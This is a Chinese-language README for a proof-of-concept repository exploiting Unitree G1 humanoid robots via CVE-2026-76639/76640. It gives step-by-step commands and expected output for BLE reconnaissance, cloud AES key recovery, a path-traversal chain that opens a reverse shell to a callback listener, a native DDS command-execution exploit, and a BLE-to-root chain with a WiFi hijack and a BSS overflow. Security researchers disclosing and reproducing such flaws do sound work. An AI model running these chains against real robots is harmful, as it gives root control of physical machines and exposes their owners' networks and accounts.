Unitree G1 RCE PoC 与脚本(CVE-2026-76639 / CVE-2026-76640)技术细节见 boschko.ca/g1-ble-rce/
仅在你获得授权测试的机器人、账户和网络上使用本仓库。活跃攻击链可能会更改机器人的 WiFi 配置、停止或重启服务、使 btgatt-server 崩溃,并以 root 身份执行命令。
| 路径 | 内容 |
|---|---|
ble-scanning | BLE 发现、未配对 GATT 枚举、序列号发现以及加密引导数据块捕获 |
cloud-oracle | 复现历史 /device/bindExtData 密钥恢复流程 |
chatgo-bashrunner-rce | 经 WebRTC 封装的 DDS 路径遍历与 bashrunner 命令执行链 |
pure-dds-rce | 使用原生 Cyclone DDS 直接实现的同一 DDS 服务链 |
ble-full-chain-rce | 活跃的 BLE 到 root 攻击链:引导、云端密钥恢复、WiFi 配置、PIE 信息泄露以及 BSS 溢出 |
scanning-tools | 研究期间使用的底层 BLE、DDS、WebRTC 和服务枚举工具 |
ble-bss-overflow.html | 对 1,050 字节 btgatt-server BSS 溢出的交互式讲解 |
诸如 0xF1 和 0xF2 这样的值是 BLE 线协议操作码,并非漏洞编号。
名称与随附组件保持一致:btgatt-server 是存在漏洞的 BLE 进程,而 chat_go 和 bashrunner 是 Unitree 的服务/模块名称。本仓库中的原生概念验证可执行文件名为 loco_rce。
建议使用 Python 3.11 或更高版本。
以下命令示例均从仓库根目录开始执行。需要交互输入的 shell 变量示例使用 Bash 语法。
git clone <repository-url>
cd githubunitreepoc
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
BLE 访问取决于宿主平台。在 macOS 上,Bleak 打印的地址是 CoreBluetooth UUID,而非空口 MAC 地址。
这些辅助工具需要物理 BLE 近距离,但不需要 Unitree 账户、AES 密钥或事先配对。
枚举 G1 暴露的 GATT 服务及特征权限:
python3 ble-scanning/01_ble_gatt_enum.py
恢复机器人序列号:
python3 ble-scanning/discover_sn.py --timeout 30
discover_sn.py 首先检查 BLE 制造商数据。如果广播中不包含序列号,它会连接并尝试明文 0xF1 请求。添加 --passive-only 可禁用该连接回退。
捕获 RSA 加密的 0xF2 引导数据块并保存,以供云恢复步骤使用:
python3 ble-scanning/02_ble_bootstrap.py \
--output ble-scanning/bootstrap-blob.txt
此处典型输出为刻意简略展示:
Scanning for a Unitree G1 (10s)...
Found <robot-name> at <BLE-address> (<RSSI> dBm)
Connecting to <BLE-address>...
Sending opcode 0xF2 (0055543235f2fe)
Received 4 notifications
Encrypted bootstrap blob (344 Base64 characters):
<encrypted-blob>
Saved to ble-scanning/bootstrap-blob.txt
该 blob 是密文,而非明文 AES 密钥。
cloud-oracle/03_cloud_oracle.py 复现了该应用历史上的密钥恢复流程:
GET /system/pubKey 获取云端 RSA 公钥。POST /device/bindExtData。当前服务器可能会强制校验机器人所有权。请使用已获授权访问目标机器人的账户。
运行该辅助脚本并回答其提示:
python3 cloud-oracle/03_cloud_oracle.py --show-http --redact
它会提示输入账户、机器人序列号和 bootstrap-blob 路径。对于上面创建的文件,请使用 ble-scanning/bootstrap-blob.txt。--redact 会在打印的 curl 复现命令中隐藏访问令牌和恢复出的 AES 密钥,从而使输出更安全、便于分享。
如需在私有运行中打印恢复出的密钥,请省略 --redact:
python3 cloud-oracle/03_cloud_oracle.py
不要将访问令牌、账户凭据、机器人密钥、序列号或捕获的 blob 粘贴到 issue 或公开发布的终端记录中。
chat_go → bashrunner 链此 PoC 通过机器人的 WebRTC 数据通道访问其 DDS 服务。它需要目标机器人的 AES-128 密钥,以及一台连接到机器人内部以太网网络的主机。
根据测试网络适当配置主机接口。该 PoC 默认使用机器人 192.168.123.161 和回调地址 192.168.123.55。
在第一个终端中,启动一个监听器:
nc -lv 4444
在第二个终端中,提供 32 个字符的十六进制 AES 密钥,但不要将其提交到仓库,然后运行该链:
read -rsp "Robot AES-128 key: " UNITREE_AES_KEY
echo
export UNITREE_AES_KEY
python3 chatgo-bashrunner-rce/reverse_shell_standalone.py \
<callback-ip> 4444
预期输出:
[*] Callback: <callback-ip>:4444
[*] Connecting via WebRTC...
[+] WebRTC connected + validated
[*] Starting chat_go...
[+] chat_go alive
[*] Uploading payload (path traversal)...
[+] Payload written
[*] Restarting bashrunner...
[+] bashrunner restarted
[*] Executing reverse shell...
[?] code=TIMEOUT — check listener anyway
[*] Done
最终的 DDS 请求可能会超时,因为重启或执行目标服务会中断响应路径。请通过监听器确认成功,而不要仅凭该超时判定为失败。
完成后清除 shell 变量:
unset UNITREE_AES_KEY
原生客户端直接加入 DDS 域 0。它不使用 WebRTC,也不使用机器人的 AES 密钥。
随附的 pure-dds-rce/prebuilt_aarch64/loco_rce 可执行文件和 Cyclone DDS 运行时适用于 Linux AArch64。该可执行文件链接到 libddsc.so.11;仓库中包含该符号链接及其指向的 libddsc.so.11.0.1。
在连接到机器人内部以太网的 AArch64 Linux 主机上:
启动器在分配 UNITREE_LOCAL_CIDR 之前会先清除 UNITREE_IFACE 上的现有地址。请使用专用的实验接口,并在运行前仔细核对接口名称。
./pure-dds-rce/run_exploit_c.sh
通过提供一个带引号的参数来运行不同的命令:
./pure-dds-rce/run_exploit_c.sh 'id && hostname && uname -a'
启动器默认使用接口 eth0、本地地址 192.168.123.55/24 和机器人地址 192.168.123.161。需要时可覆盖这些设置:
UNITREE_IFACE=<ethernet-interface> \
UNITREE_LOCAL_CIDR=<host-address>/<prefix> \
UNITREE_ROBOT_IP=<robot-address> \
./pure-dds-rce/run_exploit_c.sh
有关源码构建说明和预期输出,请参见 pure-dds-rce/README.md。
这是仓库中破坏性最强的 PoC。它会更改机器人的 WiFi 配置,将其迁移到所提供的接入点,获取 PIE 基址,投递 BSS 溢出,并在启动回调后故意使 btgatt-server 崩溃。
启动监听器:
nc -lv 5560
将凭据读入临时 shell 变量,使其字面值不会出现在本 README 或 shell 命令本身中:
read -rp "Unitree account email: " UNITREE_EMAIL
read -rsp "Unitree account password: " UNITREE_PASSWORD
echo
read -rp "Robot serial number: " UNITREE_SN
read -rp "Lab AP SSID: " LAB_AP_SSID
read -rsp "Lab AP password: " LAB_AP_PSK
echo
运行该链:
python3 ble-full-chain-rce/poc_exploit_standalone.py \
--email "$UNITREE_EMAIL" \
--password "$UNITREE_PASSWORD" \
--ssid "$LAB_AP_SSID" \
--psk "$LAB_AP_PSK" \
--callback-ip <host-ip-on-lab-ap> \
--callback-port 5560
回调地址必须是测试主机在通过 --ssid 指定的接入点上的当前地址。不要复用之前热点会话中的地址。当 --callback-ip 被省略或已失效时,PoC 会尝试自动选择当前面向热点的地址。
预期输出形态(已移除标识值和机密值):
BLE bootstrap capture encrypted AES blob
RSA blob captured (344 chars)
Logged in as <account>
AES-128 key <redacted>
Injecting SSID: <lab-ap>
Handshake OK
Auto-discovering robot on <lab-subnet> (scanning port 9991)...
Robot found at <robot-ip> (port 9991 open)
PIE base: <runtime-address>
system@PLT: <runtime-address>
1050B -> 21 chunks
Connection 1/3: chunks 1-7
Connection 2/3: chunks 8-14
Connection 3/3: chunks 15-21
chunk 21/21 crash (ok)
Check your nc listener for a shell.
最终崩溃在此概念验证中是预期行为。清理过程首先调用伪造的 destroy(user_data) 函数指针,然后将伪造的 BSS 条目传递给 free(),导致 btgatt-server 中止。
完成后清除临时变量:
unset UNITREE_EMAIL UNITREE_PASSWORD UNITREE_SN LAB_AP_SSID LAB_AP_PSK
这个独立的 HTML 页面可视化展示了 payload 布局、21 次 BLE 写入、epoll_terminate 触发点,以及伪造的 mainloop_list[2] 清理条目。
从仓库根目录执行:
python3 -m http.server 8000
打开 http://localhost:8000/ble-bss-overflow.html。除从公共 ds.css 仓库加载的 Nintendo DS 字体外,该页面本身是独立的。
192.168.123.161:9991,除非对源码进行调整。请勿在您不拥有或未获得明确测试许可的机器人上运行这些 PoC。请勿将凭据、访问令牌、AES 密钥、序列号、BLE 抓包数据和回调地址提交到提交记录或问题报告中。